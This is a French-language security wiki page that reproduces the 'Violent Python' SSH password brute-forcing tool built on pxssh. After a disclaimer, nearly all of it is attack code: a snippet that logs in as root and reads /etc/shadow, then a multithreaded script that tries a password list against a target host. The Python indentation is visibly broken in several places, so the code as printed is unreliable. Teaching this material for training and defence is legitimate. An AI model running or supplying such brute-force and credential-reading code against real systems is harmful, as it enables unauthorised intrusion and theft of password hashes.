Brute Forcing SSH Passwords with Pxssh

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Note : Le code de cette page est repris de l'ouvrage Violent Python (T. J. O'Connor, Syngress, 2012). Reproduit ici à titre pédagogique ; les droits appartiennent à l'auteur et à l'éditeur (art. L122-4 CPI).
Fiche express
Domaine Sécurité — SSH
Dépendance pxssh (pexpect)
Technique Brute force multithreadé
Usage sshBrute.py -H <host> -u <user> -F <liste>

Utilisation de la bibliothèque pxssh (issue de pexpect) pour tester par force brute des mots de passe SSH, avec un exemple multithreadé. Fourni à titre pédagogique ; les identifiants (root/toor) et adresses sont des exemples de laboratoire.

import pxssh
def send_command(s, cmd):
	s.sendline(cmd)
	s.prompt()
	print s.before
def connect(host, user, password):
	try:
		s = pxssh.pxssh()
		s.login(host, user, password)
		return s
	except:
		print '[-] Error Connecting'
		exit(0)
s = connect('127.0.0.1', 'root', 'toor')
send_command(s, 'cat /etc/shadow | grep root')
# python sshBrute.py -H 10.10.1.36 -u root -F pass.txt
import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
	global Found
	global Fails
	try:
		s = pxssh.pxssh()
		s.login(host, user, password)
		print '[+] Password Found: ' + password
	Found = True
	except Exception, e:
	if 'read_nonblocking' in str(e):
		Fails += 1
		time.sleep(5)
		connect(host, user, password, False)
	elif 'synchronize with original prompt' in str(e):
		time.sleep(1)
		connect(host, user, password, False)
	finally:
		if release: connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog '+\
 '-H <target host> -u <user> -F <password list>')
 parser.add_option('-H', dest='tgtHost', type='string', \
 help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string', \
 help='specify password file')
parser.add_option('-u', dest='user', type='string', \
 help='specify the user')
 (options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
	print parser.usage
	exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
	print "[*] Exiting: Password Found"
	exit(0)
	if Fails > 5:
	print "[!] Exiting: Too Many Socket Timeouts"
	exit(0)
connection_lock.acquire()
	password = line.strip('\r').strip('\n')
print "[-] Testing: "+str(password)
	t = Thread(target=connect, args=(host, user, \
		password, True))
	child = t.start()
if __name__ == '__main__':
	main()


  • Exploiting SSH Through Weak Private Keys

Voir aussi